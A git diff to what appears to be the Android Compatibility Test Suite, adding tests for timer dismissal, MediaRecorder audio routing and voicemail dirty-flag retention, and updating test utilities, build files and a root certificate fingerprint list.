diff --git a/tests/framework/base/activitymanager/util/src/android/server/am/ActivityManagerTestBase.java b/tests/framework/base/activitymanager/util/src/android/server/am/ActivityManagerTestBase.java
index 6d94b9a..a14d1d6 100644
--- a/tests/framework/base/activitymanager/util/src/android/server/am/ActivityManagerTestBase.java
+++ b/tests/framework/base/activitymanager/util/src/android/server/am/ActivityManagerTestBase.java
@@ -36,7 +36,6 @@
import android.content.Context;
import android.graphics.Bitmap;
import android.os.ParcelFileDescriptor;
-import android.os.RemoteException;
import android.support.test.InstrumentationRegistry;
import android.support.test.uiautomator.UiDevice;
import android.view.Display;
@@ -276,6 +275,7 @@
protected void removeStacksInWindowingModes(int... windowingModes) {
mAm.removeStacksInWindowingModes(windowingModes);
+ waitForIdle();
}
public static String executeShellCommand(String command) {
@@ -308,6 +308,7 @@
return InstrumentationRegistry.getInstrumentation().getUiAutomation().takeScreenshot();
}
+ @Deprecated
protected void launchActivityInComponent(final String componentName,
final String targetActivityName, final String... keyValuePairs) throws Exception {
final String originalComponentName = ActivityManagerTestBase.componentName;
@@ -316,17 +317,20 @@
setComponentName(originalComponentName);
}
+ @Deprecated
protected void launchActivity(final String targetActivityName, final String... keyValuePairs)
throws Exception {
executeShellCommand(getAmStartCmd(targetActivityName, keyValuePairs));
mAmWmState.waitForValidState(targetActivityName);
}
+ @Deprecated
protected void launchActivityNoWait(final String targetActivityName,
final String... keyValuePairs) throws Exception {
executeShellCommand(getAmStartCmd(targetActivityName, keyValuePairs));
}
+ @Deprecated
protected void launchActivityInNewTask(final String targetActivityName) throws Exception {
executeShellCommand(getAmStartCmdInNewTask(targetActivityName));
mAmWmState.waitForValidState(targetActivityName);
@@ -336,6 +340,7 @@
* Starts an activity in a new stack.
* @return the stack id of the newly created stack.
*/
+ @Deprecated
protected int launchActivityInNewDynamicStack(final String activityName) throws Exception {
HashSet<Integer> stackIds = getStackIds();
executeShellCommand("am stack start " + ActivityAndWindowManagersState.DEFAULT_DISPLAY_ID
@@ -350,9 +355,11 @@
}
}
- /**
- * Returns the set of stack ids.
- */
+ private void waitForIdle() {
+ InstrumentationRegistry.getInstrumentation().waitForIdleSync();
+ }
+
+ /** Returns the set of stack ids. */
private HashSet<Integer> getStackIds() throws Exception {
mAmWmState.computeState();
final List<ActivityManagerState.ActivityStack> stacks = mAmWmState.getAmState().getStacks();
@@ -421,16 +428,18 @@
.build());
}
+ @Deprecated
protected void launchActivityInDockStack(String activityName) throws Exception {
launchActivityInDockStack(activityName, SPLIT_SCREEN_CREATE_MODE_TOP_OR_LEFT);
}
+ @Deprecated
protected void launchActivityInDockStack(String activityName, int createMode)
throws Exception {
launchActivity(activityName);
final int taskId = getActivityTaskId(activityName);
mAm.setTaskWindowingModeSplitScreenPrimary(taskId, createMode, true /* onTop */,
- false /* animate */, null /* initialBounds */);
+ false /* animate */, null /* initialBounds */, false /* showRecents */);
mAmWmState.waitForValidState(activityName,
WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
@@ -1075,6 +1084,8 @@
return null;
}
+ // TODO: Now that our test are device side, we can convert these to a more direct communication
+ // channel vs. depending on logs.
private static final Pattern sCreatePattern = Pattern.compile("(.+): onCreate");
private static final Pattern sStartPattern = Pattern.compile("(.+): onStart");
private static final Pattern sResumePattern = Pattern.compile("(.+): onResume");
@@ -1089,6 +1100,7 @@
Pattern.compile("(.+): onMultiWindowModeChanged");
private static final Pattern sPictureInPictureModeChangedPattern =
Pattern.compile("(.+): onPictureInPictureModeChanged");
+ private static final Pattern sUserLeaveHintPattern = Pattern.compile("(.+): onUserLeaveHint");
private static final Pattern sNewConfigPattern = Pattern.compile(
"(.+): config size=\\((\\d+),(\\d+)\\) displaySize=\\((\\d+),(\\d+)\\)"
+ " metricsSize=\\((\\d+),(\\d+)\\) smallestScreenWidth=(\\d+) densityDpi=(\\d+)"
@@ -1175,6 +1187,31 @@
return null;
}
+ /** Waits for at least one onMultiWindowModeChanged event. */
+ ActivityLifecycleCounts waitForOnMultiWindowModeChanged(
+ String activityName, String logSeparator) {
+ int retriesLeft = 5;
+ ActivityLifecycleCounts result;
+ do {
+ result = new ActivityLifecycleCounts(activityName, logSeparator);
+ if (result.mMultiWindowModeChangedCount < 1) {
+ log("***waitForOnMultiWindowModeChanged...");
+ try {
+ Thread.sleep(1000);
+ } catch (InterruptedException e) {
+ log(e.toString());
+ // Well I guess we are not waiting...
+ }
+ } else {
+ break;
+ }
+ } while (retriesLeft-- > 0);
+ return result;
+
+ }
+
+ // TODO: Now that our test are device side, we can convert these to a more direct communication
+ // channel vs. depending on logs.
class ActivityLifecycleCounts {
int mCreateCount;
int mStartCount;
@@ -1186,13 +1223,15 @@
int mLastMultiWindowModeChangedLineIndex;
int mPictureInPictureModeChangedCount;
int mLastPictureInPictureModeChangedLineIndex;
+ int mUserLeaveHintCount;
int mPauseCount;
int mStopCount;
int mLastStopLineIndex;
int mDestroyCount;
- public ActivityLifecycleCounts(String activityName, String logSeparator) {
+ ActivityLifecycleCounts(String activityName, String logSeparator) {
int lineIndex = 0;
+ waitForIdle();
for (String line : getDeviceLogsForComponent(activityName, logSeparator)) {
line = line.trim();
lineIndex++;
@@ -1242,6 +1281,12 @@
continue;
}
+ matcher = sUserLeaveHintPattern.matcher(line);
+ if (matcher.matches()) {
+ mUserLeaveHintCount++;
+ continue;
+ }
+
matcher = sPausePattern.matcher(line);
if (matcher.matches()) {
mPauseCount++;
@@ -1275,13 +1320,15 @@
protected static class LaunchActivityBuilder {
private final ActivityAndWindowManagersState mAmWmState;
- private String mTargetActivityName;
+ // The activity to be launched
+ private String mTargetActivityName = "TestActivity";
private String mTargetPackage = componentName;
private boolean mToSide;
private boolean mRandomData;
private boolean mNewTask;
private boolean mMultipleTask;
private int mDisplayId = INVALID_DISPLAY_ID;
+ // A proxy activity that launches other activities including mTargetActivityName
private String mLaunchingActivityName = LAUNCHING_ACTIVITY;
private boolean mReorderToFront;
private boolean mWaitForLaunched;
diff --git a/tests/framework/base/activitymanager/util/src/android/server/am/WindowManagerState.java b/tests/framework/base/activitymanager/util/src/android/server/am/WindowManagerState.java
index e002c56..28b0fda 100644
--- a/tests/framework/base/activitymanager/util/src/android/server/am/WindowManagerState.java
+++ b/tests/framework/base/activitymanager/util/src/android/server/am/WindowManagerState.java
@@ -516,7 +516,7 @@
return null;
}
- int getStackPosition(int activityType) {
+ int getStackIndexByActivityType(int activityType) {
for (int i = 0; i < mStacks.size(); i++) {
if (activityType == mStacks.get(i).getActivityType()) {
return i;
diff --git a/tests/signature/api-check/Android.mk b/tests/signature/api-check/Android.mk
index 1d616cb..15fa178 100644
--- a/tests/signature/api-check/Android.mk
+++ b/tests/signature/api-check/Android.mk
@@ -30,7 +30,7 @@
LOCAL_STATIC_JAVA_LIBRARIES := \
cts-signature-common \
- repackaged-legacy-test \
+ repackaged.android.test.base \
repackaged.android.test.runner \
repackaged.android.test.mock \
diff --git a/tests/tests/alarmclock/common/src/android/alarmclock/common/Utils.java b/tests/tests/alarmclock/common/src/android/alarmclock/common/Utils.java
index d469592..8f04d2a 100644
--- a/tests/tests/alarmclock/common/src/android/alarmclock/common/Utils.java
+++ b/tests/tests/alarmclock/common/src/android/alarmclock/common/Utils.java
@@ -24,8 +24,10 @@
public enum TestcaseType {
DISMISS_ALARM,
+ DISMISS_TIMER,
SET_ALARM,
SET_ALARM_FOR_DISMISSAL,
+ SET_TIMER_FOR_DISMISSAL,
SNOOZE_ALARM,
}
public static final String TESTCASE_TYPE = "Testcase_type";
diff --git a/tests/tests/alarmclock/service/src/android/alarmclock/service/MainInteractionSession.java b/tests/tests/alarmclock/service/src/android/alarmclock/service/MainInteractionSession.java
index ede762a..547203e 100644
--- a/tests/tests/alarmclock/service/src/android/alarmclock/service/MainInteractionSession.java
+++ b/tests/tests/alarmclock/service/src/android/alarmclock/service/MainInteractionSession.java
@@ -78,12 +78,21 @@
AlarmClock.ALARM_SEARCH_MODE_NEXT);
break;
+ case DISMISS_TIMER:
+ intent = new Intent(AlarmClock.ACTION_DISMISS_TIMER);
+ break;
+
case SET_ALARM_FOR_DISMISSAL:
case SET_ALARM:
intent = new Intent(AlarmClock.ACTION_SET_ALARM);
intent.putExtra(AlarmClock.EXTRA_HOUR, 14);
break;
+ case SET_TIMER_FOR_DISMISSAL:
+ intent = new Intent(AlarmClock.ACTION_SET_TIMER);
+ intent.putExtra(AlarmClock.EXTRA_LENGTH, 10);
+ break;
+
case SNOOZE_ALARM:
intent = new Intent(AlarmClock.ACTION_SNOOZE_ALARM);
break;
diff --git a/tests/tests/alarmclock/src/android/alarmclock/cts/AlarmClockTestBase.java b/tests/tests/alarmclock/src/android/alarmclock/cts/AlarmClockTestBase.java
index 224c8ab..69f19b9 100644
--- a/tests/tests/alarmclock/src/android/alarmclock/cts/AlarmClockTestBase.java
+++ b/tests/tests/alarmclock/src/android/alarmclock/cts/AlarmClockTestBase.java
@@ -89,11 +89,19 @@
intent = new Intent(AlarmClock.ACTION_DISMISS_ALARM);
break;
+ case DISMISS_TIMER:
+ intent = new Intent(AlarmClock.ACTION_DISMISS_TIMER);
+ break;
+
case SET_ALARM:
case SET_ALARM_FOR_DISMISSAL:
intent = new Intent(AlarmClock.ACTION_SET_ALARM);
break;
+ case SET_TIMER_FOR_DISMISSAL:
+ intent = new Intent(AlarmClock.ACTION_SET_TIMER);
+ break;
+
case SNOOZE_ALARM:
intent = new Intent(AlarmClock.ACTION_SNOOZE_ALARM);
break;
diff --git a/tests/tests/alarmclock/src/android/alarmclock/cts/DismissTimerTest.java b/tests/tests/alarmclock/src/android/alarmclock/cts/DismissTimerTest.java
new file mode 100644
index 0000000..dff8835
--- /dev/null
+++ b/tests/tests/alarmclock/src/android/alarmclock/cts/DismissTimerTest.java
@@ -0,0 +1,11 @@
+package android.alarmclock.cts;
+
+import android.alarmclock.common.Utils;
+
+public class DismissTimerTest extends AlarmClockTestBase {
+
+ public void testAll() throws Exception {
+ assertEquals(Utils.COMPLETION_RESULT, runTest(Utils.TestcaseType.SET_TIMER_FOR_DISMISSAL));
+ assertEquals(Utils.COMPLETION_RESULT, runTest(Utils.TestcaseType.DISMISS_TIMER));
+ }
+}
diff --git a/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java b/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java
index 3ce69b1..a7e2815 100644
--- a/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java
+++ b/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java
@@ -354,4 +354,11 @@
assertCanBeHandled(new Intent(Settings.ACTION_FINGERPRINT_ENROLL));
}
}
+
+ public void testPictureInPictureSettings() {
+ PackageManager packageManager = mContext.getPackageManager();
+ if (packageManager.hasSystemFeature(PackageManager.FEATURE_PICTURE_IN_PICTURE)) {
+ assertCanBeHandled(new Intent(Settings.ACTION_PICTURE_IN_PICTURE_SETTINGS));
+ }
+ }
}
diff --git a/tests/tests/jni/libjnitest/android_jni_cts_LinkerNamespacesTest.cpp b/tests/tests/jni/libjnitest/android_jni_cts_LinkerNamespacesTest.cpp
index 33a9a1d..77ac34b 100644
--- a/tests/tests/jni/libjnitest/android_jni_cts_LinkerNamespacesTest.cpp
+++ b/tests/tests/jni/libjnitest/android_jni_cts_LinkerNamespacesTest.cpp
@@ -77,8 +77,7 @@
static bool not_accessible(const std::string& library, const std::string& err) {
return err.find("dlopen failed: library \"" + library + "\"") == 0 &&
- (err.find("is not accessible for the namespace \"classloader-namespace\"") != std::string::npos ||
- err.find("is not accessible for the namespace \"sphal\"") != std::string::npos);
+ err.find("is not accessible for the namespace \"classloader-namespace\"") != std::string::npos;
}
static bool not_found(const std::string& library, const std::string& err) {
diff --git a/tests/tests/jni_vendor/libvendorjnitest/Android.mk b/tests/tests/jni_vendor/libvendorjnitest/Android.mk
index ca59ee8..c9e9205 100644
--- a/tests/tests/jni_vendor/libvendorjnitest/Android.mk
+++ b/tests/tests/jni_vendor/libvendorjnitest/Android.mk
@@ -36,4 +36,6 @@
LOCAL_CFLAGS := -Wno-unused-parameter
+LOCAL_VENDOR_MODULE := true
+
include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/media/src/android/media/cts/MediaDrmMockTest.java b/tests/tests/media/src/android/media/cts/MediaDrmMockTest.java
index a197cca..75f191d 100644
--- a/tests/tests/media/src/android/media/cts/MediaDrmMockTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaDrmMockTest.java
@@ -674,7 +674,6 @@
Log.d(TAG,"testEventNoSessionNoData.onEvent");
assertTrue(md == mMediaDrm);
assertTrue(event == 2);
- assertTrue(extra == 456);
assertTrue(sessionId == null);
assertTrue(data == null);
mGotEvent = true;
@@ -753,7 +752,6 @@
Log.d(TAG,"testEventWithSessoinAndData.onEvent");
assertTrue(md == mMediaDrm);
assertTrue(event == 1);
- assertTrue(extra == 123);
assertTrue(Arrays.equals(sessionId, expected_sessionId));
assertTrue(Arrays.equals(data, expected_data));
mGotEvent = true;
diff --git a/tests/tests/media/src/android/media/cts/RoutingTest.java b/tests/tests/media/src/android/media/cts/RoutingTest.java
index 65a4d20..ddb534a 100644
--- a/tests/tests/media/src/android/media/cts/RoutingTest.java
+++ b/tests/tests/media/src/android/media/cts/RoutingTest.java
@@ -27,22 +27,31 @@
import android.media.AudioRouting;
import android.media.AudioTrack;
import android.media.MediaPlayer;
+import android.media.MediaFormat;
import android.media.MediaRecorder;
+import android.os.Environment;
import android.os.Handler;
import android.os.Looper;
-
import android.os.SystemClock;
+
import android.test.AndroidTestCase;
import android.util.Log;
+import com.android.compatibility.common.util.MediaUtils;
+
+import java.io.File;
import java.lang.Runnable;
+import java.util.Arrays;
+import java.util.HashSet;
+import java.util.Set;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
/**
- * AudioTrack / AudioRecord preferred device and routing listener tests.
+ * AudioTrack / AudioRecord / MediaPlayer / MediaRecorder preferred device
+ * and routing listener tests.
* The routing tests are mostly here to exercise the routing code, as an actual test would require
* adding / removing an audio device for the listeners to be called.
* The routing listener code is designed to run for two versions of the routing code:
@@ -53,9 +62,16 @@
private static final String TAG = "RoutingTest";
private static final int MAX_WAITING_ROUTING_CHANGED_COUNT = 3;
private static final long WAIT_ROUTING_CHANGE_TIME_MS = 1000;
+ private static final int AUDIO_BIT_RATE_IN_BPS = 12200;
+ private static final int AUDIO_SAMPLE_RATE_HZ = 8000;
+ private static final long MAX_FILE_SIZE_BYTE = 5000;
+ private static final int RECORD_TIME_MS = 3000;
+ private static final Set<Integer> AVAILABLE_INPUT_DEVICES_TYPE = new HashSet<>(
+ Arrays.asList(AudioDeviceInfo.TYPE_BUILTIN_MIC));
private AudioManager mAudioManager;
private CountDownLatch mRoutingChangedLatch;
+ private File mOutFile;
@Override
protected void setUp() throws Exception {
@@ -66,6 +82,14 @@
assertNotNull(mAudioManager);
}
+ @Override
+ protected void tearDown() throws Exception {
+ if (mOutFile != null && mOutFile.exists()) {
+ mOutFile.delete();
+ }
+ super.tearDown();
+ }
+
private AudioTrack allocAudioTrack() {
int bufferSize =
AudioTrack.getMinBufferSize(
@@ -609,4 +633,114 @@
mediaPlayer.stop();
mediaPlayer.release();
}
+
+ private MediaRecorder allocMediaRecorder() throws Exception {
+ final String outputPath = new File(Environment.getExternalStorageDirectory(),
+ "record.out").getAbsolutePath();
+ mOutFile = new File(outputPath);
+ MediaRecorder mediaRecorder = new MediaRecorder();
+ mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
+ assertEquals(0, mediaRecorder.getMaxAmplitude());
+ mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
+ mediaRecorder.setOutputFile(outputPath);
+ mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC);
+ mediaRecorder.setAudioChannels(AudioFormat.CHANNEL_OUT_DEFAULT);
+ mediaRecorder.setAudioSamplingRate(AUDIO_SAMPLE_RATE_HZ);
+ mediaRecorder.setAudioEncodingBitRate(AUDIO_BIT_RATE_IN_BPS);
+ mediaRecorder.setMaxFileSize(MAX_FILE_SIZE_BYTE);
+ mediaRecorder.prepare();
+ mediaRecorder.start();
+ // Sleep a while to ensure the underlying AudioRecord is initialized.
+ Thread.sleep(1000);
+ return mediaRecorder;
+ }
+
+ public void test_mediaRecorder_preferredDevice() throws Exception {
+ if (!mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_MICROPHONE)
+ || !MediaUtils.hasEncoder(MediaFormat.MIMETYPE_AUDIO_AAC)) {
+ MediaUtils.skipTest("no audio codecs or microphone");
+ return;
+ }
+
+ MediaRecorder mediaRecorder = allocMediaRecorder();
+
+ // None selected (new MediaPlayer), so check for default
+ assertNull(mediaRecorder.getPreferredDevice());
+
+ // resets to default
+ assertTrue(mediaRecorder.setPreferredDevice(null));
+
+ // test each device
+ AudioDeviceInfo[] deviceList = mAudioManager.getDevices(AudioManager.GET_DEVICES_INPUTS);
+ for (int index = 0; index < deviceList.length; index++) {
+ if (!AVAILABLE_INPUT_DEVICES_TYPE.contains(deviceList[index].getType())) {
+ // Only try to set devices whose type is contained in predefined set as preferred
+ // device in case of permission denied when switching input device.
+ continue;
+ }
+ assertTrue(mediaRecorder.setPreferredDevice(deviceList[index]));
+ assertTrue(mediaRecorder.getPreferredDevice() == deviceList[index]);
+ }
+
+ // Check defaults again
+ assertTrue(mediaRecorder.setPreferredDevice(null));
+ assertNull(mediaRecorder.getPreferredDevice());
+ Thread.sleep(RECORD_TIME_MS);
+
+ mediaRecorder.stop();
+ mediaRecorder.release();
+ }
+
+ public void test_mediaRecorder_getRoutedDeviceId() throws Exception {
+ if (!mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_MICROPHONE)
+ || !MediaUtils.hasEncoder(MediaFormat.MIMETYPE_AUDIO_AAC)) {
+ MediaUtils.skipTest("no audio codecs or microphone");
+ return;
+ }
+
+ MediaRecorder mediaRecorder = allocMediaRecorder();
+
+ AudioDeviceInfo routedDevice = mediaRecorder.getRoutedDevice();
+ assertNotNull(routedDevice); // we probably can't say anything more than this
+ Thread.sleep(RECORD_TIME_MS);
+
+ mediaRecorder.stop();
+ mediaRecorder.release();
+ }
+
+ public void test_mediaRecorder_RoutingListener() throws Exception {
+ if (!mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_MICROPHONE)
+ || !MediaUtils.hasEncoder(MediaFormat.MIMETYPE_AUDIO_AAC)) {
+ MediaUtils.skipTest("no audio codecs or microphone");
+ return;
+ }
+
+ MediaRecorder mediaRecorder = allocMediaRecorder();
+
+ // null listener
+ mediaRecorder.addOnRoutingChangedListener(null, null);
+
+ AudioRoutingListener listener = new AudioRoutingListener();
+ AudioRoutingListener someOtherListener = new AudioRoutingListener();
+
+ // add a listener
+ mediaRecorder.addOnRoutingChangedListener(listener, null);
+
+ // remove listeners we didn't add
+ mediaRecorder.removeOnRoutingChangedListener(someOtherListener);
+ // remove a valid listener
+ mediaRecorder.removeOnRoutingChangedListener(listener);
+
+ Looper myLooper = prepareIfNeededLooper();
+ mediaRecorder.addOnRoutingChangedListener(listener, new Handler());
+ mediaRecorder.removeOnRoutingChangedListener(listener);
+
+ Thread.sleep(RECORD_TIME_MS);
+
+ mediaRecorder.stop();
+ mediaRecorder.release();
+ if (myLooper != null) {
+ myLooper.quit();
+ }
+ }
}
diff --git a/tests/tests/permission/src/android/permission/cts/FileSystemPermissionTest.java b/tests/tests/permission/src/android/permission/cts/FileSystemPermissionTest.java
index 0f63dae..808fe9f 100644
--- a/tests/tests/permission/src/android/permission/cts/FileSystemPermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/FileSystemPermissionTest.java
@@ -66,6 +66,21 @@
*/
public class FileSystemPermissionTest extends AndroidTestCase {
+ private int dumpable;
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ dumpable = Os.prctl(OsConstants.PR_GET_DUMPABLE, 0, 0, 0, 0);
+ Os.prctl(OsConstants.PR_SET_DUMPABLE, 1, 0, 0, 0);
+ }
+
+ @Override
+ protected void tearDown() throws Exception {
+ Os.prctl(OsConstants.PR_SET_DUMPABLE, dumpable, 0, 0, 0);
+ super.tearDown();
+ }
+
@MediumTest
public void testCreateFileHasSanePermissions() throws Exception {
File myFile = new File(getContext().getFilesDir(), "hello");
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/VoicemailContractTest.java b/tests/tests/provider/src/android/provider/cts/contacts/VoicemailContractTest.java
index bdc973b..3f4aea2 100644
--- a/tests/tests/provider/src/android/provider/cts/contacts/VoicemailContractTest.java
+++ b/tests/tests/provider/src/android/provider/cts/contacts/VoicemailContractTest.java
@@ -104,7 +104,7 @@
final int SOURCE_DATA_INDEX = 6;
final int HAS_CONTENT_INDEX = 7;
final int MIME_TYPE_INDEX = 8;
- final int TRANSCRIPTION_INDEX= 9;
+ final int TRANSCRIPTION_INDEX = 9;
final int PHONE_ACCOUNT_COMPONENT_NAME_INDEX = 10;
final int PHONE_ACCOUNT_ID_INDEX = 11;
final int DIRTY_INDEX = 12;
@@ -160,15 +160,15 @@
assertEquals(insertMimeType, cursor.getString(MIME_TYPE_INDEX));
assertEquals(0, cursor.getInt(IS_READ_INDEX));
assertEquals(1, cursor.getInt(HAS_CONTENT_INDEX));
- assertEquals("foo",cursor.getString(TRANSCRIPTION_INDEX));
- assertEquals("com.foo",cursor.getString(PHONE_ACCOUNT_COMPONENT_NAME_INDEX));
- assertEquals("bar",cursor.getString(PHONE_ACCOUNT_ID_INDEX));
- assertEquals(0,cursor.getInt(DIRTY_INDEX));
- assertEquals(0,cursor.getInt(DELETED_INDEX));
- assertEquals(0,cursor.getInt(BACKED_UP_INDEX));
- assertEquals(0,cursor.getInt(RESTORED_INDEX));
- assertEquals(0,cursor.getInt(ARCHIVED_INDEX));
- assertEquals(0,cursor.getInt(IS_OMTP_VOICEMAIL_INDEX));
+ assertEquals("foo", cursor.getString(TRANSCRIPTION_INDEX));
+ assertEquals("com.foo", cursor.getString(PHONE_ACCOUNT_COMPONENT_NAME_INDEX));
+ assertEquals("bar", cursor.getString(PHONE_ACCOUNT_ID_INDEX));
+ assertEquals(0, cursor.getInt(DIRTY_INDEX));
+ assertEquals(0, cursor.getInt(DELETED_INDEX));
+ assertEquals(0, cursor.getInt(BACKED_UP_INDEX));
+ assertEquals(0, cursor.getInt(RESTORED_INDEX));
+ assertEquals(0, cursor.getInt(ARCHIVED_INDEX));
+ assertEquals(0, cursor.getInt(IS_OMTP_VOICEMAIL_INDEX));
int id = cursor.getInt(ID_INDEX);
assertEquals(id, Integer.parseInt(uri.getLastPathSegment()));
cursor.close();
@@ -196,12 +196,12 @@
assertEquals(updateDate, cursor.getLong(DATE_INDEX));
assertEquals(updateCallsDuration, cursor.getLong(DURATION_INDEX));
assertEquals(updateSourceData, cursor.getString(SOURCE_DATA_INDEX));
- assertEquals(1,cursor.getInt(DIRTY_INDEX));
- assertEquals(1,cursor.getInt(DELETED_INDEX));
- assertEquals(1,cursor.getInt(BACKED_UP_INDEX));
- assertEquals(1,cursor.getInt(RESTORED_INDEX));
- assertEquals(1,cursor.getInt(ARCHIVED_INDEX));
- assertEquals(1,cursor.getInt(IS_OMTP_VOICEMAIL_INDEX));
+ assertEquals(1, cursor.getInt(DIRTY_INDEX));
+ assertEquals(1, cursor.getInt(DELETED_INDEX));
+ assertEquals(1, cursor.getInt(BACKED_UP_INDEX));
+ assertEquals(1, cursor.getInt(RESTORED_INDEX));
+ assertEquals(1, cursor.getInt(ARCHIVED_INDEX));
+ assertEquals(1, cursor.getInt(IS_OMTP_VOICEMAIL_INDEX));
cursor.close();
// Test: delete
@@ -213,7 +213,7 @@
}
public void testForeignUpdate_dirty() throws Exception {
- if(!hasTelephony(getInstrumentation().getContext())){
+ if (!hasTelephony(getInstrumentation().getContext())) {
Log.d(TAG, "skipping test that requires telephony feature");
return;
}
@@ -234,8 +234,34 @@
}
}
+ public void testForeignUpdate_retainDirty_notDirty() throws Exception {
+ if (!hasTelephony(getInstrumentation().getContext())) {
+ Log.d(TAG, "skipping test that requires telephony feature");
+ return;
+ }
+ // only the default dialer has WRITE_VOICEMAIL permission, which can modify voicemails of
+ // a foreign source package.
+ setTestAsDefaultDialer();
+ ContentValues values = new ContentValues();
+ values.put(Voicemails.SOURCE_PACKAGE, FOREIGN_SOURCE);
+
+ Uri uri = mVoicemailProvider.insert(Voicemails.buildSourceUri(FOREIGN_SOURCE), values);
+
+ ContentValues newValues = new ContentValues();
+ newValues.put(Voicemails.TRANSCRIPTION, "foo");
+ newValues.put(Voicemails.DIRTY, Voicemails.DIRTY_RETAIN);
+
+ mVoicemailProvider.update(uri, newValues, null, null);
+
+ try (Cursor cursor = mVoicemailProvider
+ .query(uri, new String[] {Voicemails.DIRTY}, null, null, null)) {
+ cursor.moveToFirst();
+ assertEquals(0, cursor.getInt(0));
+ }
+ }
+
public void testForeignUpdate_explicitNotDirty() throws Exception {
- if(!hasTelephony(getInstrumentation().getContext())){
+ if (!hasTelephony(getInstrumentation().getContext())) {
Log.d(TAG, "skipping test that requires telephony feature");
return;
}
@@ -246,7 +272,7 @@
Uri uri = mVoicemailProvider.insert(Voicemails.buildSourceUri(FOREIGN_SOURCE), values);
ContentValues updateValues = new ContentValues();
- updateValues.put(Voicemails.DIRTY,0);
+ updateValues.put(Voicemails.DIRTY, 0);
mVoicemailProvider.update(uri, updateValues, null, null);
try (Cursor cursor = mVoicemailProvider
@@ -257,7 +283,7 @@
}
public void testForeignUpdate_null_dirty() throws Exception {
- if(!hasTelephony(getInstrumentation().getContext())){
+ if (!hasTelephony(getInstrumentation().getContext())) {
Log.d(TAG, "skipping test that requires telephony feature");
return;
}
@@ -279,7 +305,7 @@
}
public void testForeignUpdate_NotNormalized_normalized() throws Exception {
- if(!hasTelephony(getInstrumentation().getContext())){
+ if (!hasTelephony(getInstrumentation().getContext())) {
Log.d(TAG, "skipping test that requires telephony feature");
return;
}
@@ -303,7 +329,7 @@
public void testLocalUpdate_notDirty() throws Exception {
ContentValues values = new ContentValues();
- values.put(Voicemails.DIRTY,1);
+ values.put(Voicemails.DIRTY, 1);
Uri uri = mVoicemailProvider.insert(Voicemails.buildSourceUri(mSourcePackageName), values);
@@ -316,6 +342,25 @@
}
}
+ public void testLocalUpdate_retainDirty_dirty() throws Exception {
+
+ ContentValues values = new ContentValues();
+ values.put(Voicemails.DIRTY, 1);
+
+ Uri uri = mVoicemailProvider.insert(Voicemails.buildSourceUri(mSourcePackageName), values);
+
+ ContentValues newValues = new ContentValues();
+ newValues.put(Voicemails.TRANSCRIPTION, "foo");
+ newValues.put(Voicemails.DIRTY, Voicemails.DIRTY_RETAIN);
+
+ mVoicemailProvider.update(uri, newValues, null, null);
+
+ try (Cursor cursor = mVoicemailProvider
+ .query(uri, new String[] {Voicemails.DIRTY}, null, null, null)) {
+ cursor.moveToFirst();
+ assertEquals(cursor.getInt(0), 1);
+ }
+ }
// Data column should be automatically generated during insert.
public void testInsert_doesNotUpdateDataColumn() throws Exception {
@@ -351,7 +396,7 @@
private void assertDataNotEquals(String newFilePath) throws RemoteException {
// Make sure data value is not actually updated.
final Cursor cursor = mVoicemailProvider.query(mVoicemailContentUri,
- new String[]{Voicemails._DATA}, null, null, null);
+ new String[] {Voicemails._DATA}, null, null, null);
cursor.moveToNext();
final String data = cursor.getString(0);
assertFalse(data.equals(newFilePath));
@@ -494,10 +539,10 @@
packageManager.hasSystemFeature(PackageManager.FEATURE_CONNECTION_SERVICE);
}
- private void setTestAsDefaultDialer() throws Exception{
+ private void setTestAsDefaultDialer() throws Exception {
assertTrue(mPreviousDefaultDialer == null);
mPreviousDefaultDialer = getDefaultDialer(getInstrumentation());
- setDefaultDialer(getInstrumentation(),PACKAGE);
+ setDefaultDialer(getInstrumentation(), PACKAGE);
}
private static String setDefaultDialer(Instrumentation instrumentation, String packageName)
diff --git a/tests/tests/security/src/android/security/cts/CertificateData.java b/tests/tests/security/src/android/security/cts/CertificateData.java
index b880f5f..68ec092 100644
--- a/tests/tests/security/src/android/security/cts/CertificateData.java
+++ b/tests/tests/security/src/android/security/cts/CertificateData.java
@@ -36,7 +36,6 @@
"75:E0:AB:B6:13:85:12:27:1C:04:F8:5F:DD:DE:38:E4:B7:24:2E:FE",
"DA:C9:02:4F:54:D8:F6:DF:94:93:5F:B1:73:26:38:CA:6A:D7:7C:13",
"74:20:74:41:72:9C:DD:92:EC:79:31:D8:23:10:8D:C2:81:92:E2:BB",
- "40:54:DA:6F:1C:3F:40:74:AC:ED:0F:EC:CD:DB:79:D1:53:FB:90:1D",
"F4:8B:11:BF:DE:AB:BE:94:54:20:71:E6:41:DE:6B:BE:88:2B:40:B9",
"58:E8:AB:B0:36:15:33:FB:80:F7:9B:1B:6D:29:D3:FF:8D:5F:00:F0",
"55:A6:72:3E:CB:F2:EC:CD:C3:23:74:70:19:9D:2A:BE:11:E3:81:D1",
@@ -51,6 +50,7 @@
"DA:FA:F7:FA:66:84:EC:06:8F:14:50:BD:C7:C2:81:A5:BC:A9:64:57",
"74:F8:A3:C3:EF:E7:B3:90:06:4B:83:90:3C:21:64:60:20:E5:DF:CE",
"31:43:64:9B:EC:CE:27:EC:ED:3A:3F:0B:8F:0D:E4:E8:91:DD:EE:CA",
+ "B7:AB:33:08:D1:EA:44:77:BA:14:80:12:5A:6F:BD:A9:36:49:0C:BB",
"5F:43:E5:B1:BF:F8:78:8C:AC:1C:C7:CA:4A:9A:C6:22:2B:CC:34:C6",
"2B:8F:1B:57:33:0D:BB:A2:D0:7A:6C:51:F7:0E:E9:0D:DA:B9:AD:8E",
